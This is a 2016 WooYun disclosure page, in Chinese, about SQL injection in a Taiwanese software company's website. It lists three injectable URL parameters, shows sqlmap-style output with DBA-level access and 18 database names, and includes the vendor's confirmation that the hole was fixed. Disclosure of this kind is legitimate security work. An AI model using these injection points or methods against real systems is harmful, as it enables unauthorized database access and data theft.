当前位置:WooYun >> 漏洞信息

漏洞概要 关注数(24) 关注此漏洞

缺陷编号:wooyun-2016-0175316

漏洞标题:網擎資訊軟體股份有限公司主站SQL注入打包/涉及多格库/DBA权限(臺灣地區)

相关厂商:網擎資訊軟體股份有限公司

漏洞作者: 路人甲

提交时间:2016-02-11 10:54

修复时间:2016-03-03 11:50

公开时间:2016-03-03 11:50

漏洞类型:SQL注射漏洞

危害等级:高

自评Rank:18

漏洞状态:厂商已经修复

漏洞来源: http://www.wooyun.org,如有疑问或需要帮助请联系 [email protected]

Tags标签:

4人收藏 收藏
分享漏洞:


漏洞详情

披露状态:

2016-02-11: 细节已通知厂商并且等待厂商处理中
2016-02-15: 厂商已经确认,细节仅向厂商公开
2016-02-25: 细节向核心白帽子及相关领域专家公开
2016-03-03: 厂商已经修复漏洞并主动公开,细节向公众公开

简要描述:

厂商在大陆地区注册了,在台湾地区木有注册

详细说明:

注入点一:

http://www.openfind.com.tw/taiwan/epaper/elog.php?num=*&title=%E7%B6%93%E9%8A%B7%E5%95%86%E5%B0%88%E5%8D%80&url=http://www.openfind.com.tw/taiwan/partners/partners_overview.htm&userid={email}
num参数 存在注入,title,url参数也存在注入


注入点二:

http://www.openfind.com.tw/taiwan/epaper/elog.php?date=*&title=%E6%9C%80%E6%96%B0%E6%B6%88%E6%81%AF%20-%20Openfind%20MailBase%202.8%20%E6%90%9C%E5%B0%8B%E6%95%88%E8%83%BD%E5%86%8D%E9%80%B2%E5%8C%96%20%E6%9C%89%E6%95%88%E6%8F%90%E5%8D%87%E4%BC%81%E6%A5%AD%E8%B3%87%E5%AE%89%E7%B8%BE%E6%95%88&url=http://www.openfind.com.tw/taiwan/newsevents/news_detail.php?news_id=2180&userid={email}
date参数存在注入


注入点三:

http://www.openfind.com.tw/taiwan/epaper/elog.php?num={epaper_date}&title=%E7%B6%93%E9%8A%B7%E5%95%86%E5%B0%88%E5%8D%80&url=http://www.openfind.com.tw/taiwan/partners/partners_overview.htm&userid=*
userid参数存在sql注入

漏洞证明:

---
web application technology: PHP 5.3.3, Apache
back-end DBMS: MySQL 5.0.12
current user: 'root@localhost'
current database: 'epaper'
current user is DBA: True
available databases [18]:
[*] contact
[*] drupal
[*] epaper
[*] information_schema
[*] lamrim
[*] loginRecord
[*] m2k_payment
[*] mauketing
[*] mysql
[*] new_web_backend
[*] OCSE
[*] oes_key
[*] oris_demo_site
[*] Pmark
[*] point_payment
[*] question_report
[*] solutionday
[*] test


跑数据有些慢,就不继续了,rank别少了哦,尽快修复。

修复方案:

版权声明:转载请注明来源 路人甲@乌云


漏洞回应

厂商回应:

危害等级:低

漏洞Rank:3

确认时间:2016-02-15 16:43

厂商回复:

本漏洞並未對系統造成任何危害或是導致資料外洩,但仍有被利用做為其他不正當行為的疑慮,已修復此漏洞。

最新状态:

2016-03-03:已修復漏洞

2016-03-03:確認修復漏洞並公開